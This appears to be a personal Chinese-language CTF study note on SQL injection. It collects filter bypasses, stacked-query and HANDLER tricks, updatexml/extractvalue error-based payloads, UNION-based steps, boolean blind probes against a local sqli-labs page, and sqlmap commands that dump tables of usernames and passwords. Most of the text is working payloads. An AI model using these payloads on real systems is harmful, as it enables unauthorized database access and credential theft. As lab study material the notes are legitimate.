笔记
Last Update:
Sql
空格->%09
=->like
and->&&
illegal mix of collation operation ‘UNION’
这个错误意味着在UNION查询中的两个或多个列使用了不同的字符集或校对规则,导致无法进行正确的合并 操作。 解决方法:统一字符集和校对规则,在sql语句from前添加COLLATE utf8_general_ci
sql语句加锁,有个提示用户只能从nss来的
所以sql语句后加where user = ‘nss’
‘ - ‘ 被过滤了所以用100使前面查询不出内容,得到库名
堆叠注入
(emm,博客里说过滤了select就是堆叠)
以;结束命令再在后面加命令一起执行,(这么说所有都可以用堆叠注入喽?)
补:不是,有什么API巴拉巴拉的限制,可能不行
命令:
查数据库(感觉没啥用,爆表会默认当前数据库): 1’; show databases;
查表: 1’; show tables;
爆表: *1’;show columns from *(*表名)*;#
(表名为数字加
)
查字段(select被禁):[强网杯 2019]随便注1
1’;Handler 1919810931114514
OPEN;Handler 1919810931114514
read first;Handler 1919810931114514
close;#
1’; handler 1919810931114514
open as a; handler a read next;#
报错注入
获取数据库名
1’ and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) –+
不太稳定,嗯
1’ and extractvalue(1,concat(‘^’,(select database()),’^’)) –+
1’ and updatexml(1,concat(‘^’,(database()),’^’),1) –+
1’or(updatexml(1,concat(0x7e,database(),0x7e),1))#
表
1’ and updatexml(1,concat(‘^’,(select table_name from information_schema.tables where table_schema=’security’ ),’^’),1) –+
1’or(updatexml(1,concat(‘^’,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),’^’),1))
若超过一行则在table_schema=’security’后面加limit 0,1,意思是只显示第一行
Limit 1,1 2,1 3,1往下一行看
列
1’ and updatexml(1,concat(‘^’,(select column_name from information_schema.columns where table_name=’users’ and table_schema=’security’ limit 0,1 ),’^’),1) –+
1’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#
字段
1’ and updatexml(1,concat(‘^’,(select group_concat(username,”–”,password) from users limit 0,1 ),’^’),1) –+ 只得到了一段
1’or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
字段 表
1’ and extractvalue(1,concat(‘^’,(select substring(group_concat(id,’^’,flag),31,30) from test_tb)))# 第二段,31,30意思是从第31个字符往后提取30个字符,可改
联合注入
新生赛wp(现在看应该是数字型,那为什么能直接用呢?还是说是单引号型,只是碰巧)
先分别输入1,2,3,4,5,到5就不行了,所以有4段,再使用特定语句走流程
查段数 1’ order by 3#
1. ‘ union select 1,2,3 – ‘
2. 检查数据库信息’ union select 1, 2,3, @@version – ‘
3. 查询数据库名’ union select 1, 2,3, database() – ‘
4. 查用户权限’ union select 1, 2, 3,user() – ‘
5. 查表1’ununionion seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
6. 爆表’ union select 1, 2,3, group_concat(table_name) from information_schema.tables where table_schema=’ctf’– ‘
7.
8. 爆列’ union select 1, 2,3, group_concat(column_name) from information_schema.columns where table_name=’flag’ – ‘
9. 查flag’ union select 1,2, group_concat(data) from flag– ‘
1’ union select 1,2,group_concat(flag) from ctf.Flag
1’ union select 1,2,group_concat(字段名) from 数据库名.表名
布尔盲注
刚看了布尔盲注,我勒个盲注啊,全用二分法一个个试啊,眉头一下子就皱起来了,好麻烦,很哈人,直到看到博主说:一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。把语句记下,去找工具了。
1.数据库类型
**//**判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1‘ and exists(select*from information_schema.tables) –+
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1‘ and exists(select*from msysobjects) –+
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1‘ and exists(select*from sysobjects) –+
2.数据库名
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1‘ and length(database())>5 –+ //正常显示
http://127.0.0.1/sqli/Less-5/?id=1‘ and length(database())>10 –+ //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1‘ and length(database())>7 –+ //正常显示
http://127.0.0.1/sqli/Less-5/?id=1‘ and length(database())>8 –+ //不显示任何数据
大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1‘ and ascii(substr(database(),1,1))>115 –+ //100为ascii表中的十进制,对应字母s
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1‘ and ascii(substr(database(),2,1))>100 –+
//判断数据库的第三个字符
http://127.0.0.1/sqli/Less-5/?id=1‘ and ascii(substr(database(),3,1))>100 –+
………..
由此可以判断出当前数据库为 security
3.库的表名
//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1‘ and exists(select*from admin) –+
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1‘ and (select count(table_name) from information_schema.tables where table_schema=database())>3 –+
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1‘ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 –+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1‘ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 –+
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 –+
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 –+
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
4.表的字段
//如果已经证实了存在admin表,那么猜测是否存在username字段
http://127.0.0.1/sqli/Less-5/?id=1‘ and exists(select username from admin)
1:判断表中字段的个数
//判断users表中字段个数是否大于5
http://127.0.0.1/sqli/Less-5/?id=1‘ and (select count(column_name) from information_schema.columns where table_name=’users’ and table_schema=’security’)>5 –+
2:判断每个字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1‘ and length((select column_name from information_schema.columns where table_name=’users’ limit 0,1))>5 –+
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1‘ and length((select column_name from information_schema.columns where table_name=’users’ limit 1,1))>5 –+
3:判断每个字段名字的ascii值
//判断第一个字段的第一个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1‘ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1))>100 –+
//判断第一个字段的第二个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1‘ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),2,1))>100 –+
………..
由此可判断出users表中存在 id、username、password 字段
5.字段数据
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1‘ and length((select id from users limit 0,1))>5 –+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1‘ and length((select id from users limit 1,1))>5 –+
2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1‘ and ascii(substr((select id from users limit 0,1),1,1))>100 –+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1‘ and ascii(substr((select id from users limit 0,1),2,1))>100 –+
时间盲注
和布尔盲注差不多,布尔是直接显示对错,时间以延迟表示对错,比布尔还麻烦
http注入
只是换了个地方注入,ua,xff,cookie等
sqlmap
快速入门;SQLmap(常规)使用步骤
1、检测「注入点」
sqlmap -u ‘http://xx/?id=1‘
1
2、查看所有「数据库」
sqlmap -u ‘http://xx/?id=1‘ –dbs
1
3、查看当前使用的数据库
sqlmap -u ‘http://xx/?id=1‘ –current-db
1
4、查看「数据表」
sqlmap -u ‘http://xx/?id=1‘ -D ‘security’ –tables
1
5、查看「字段」
sqlmap -u ‘http://xx/?id=1‘ -D ‘security’ -T ‘users’ –tables
1
6、查看「数据」
sqlmap -u ‘http://xx/?id=1‘ -D ‘security’ -T ‘users’ –dump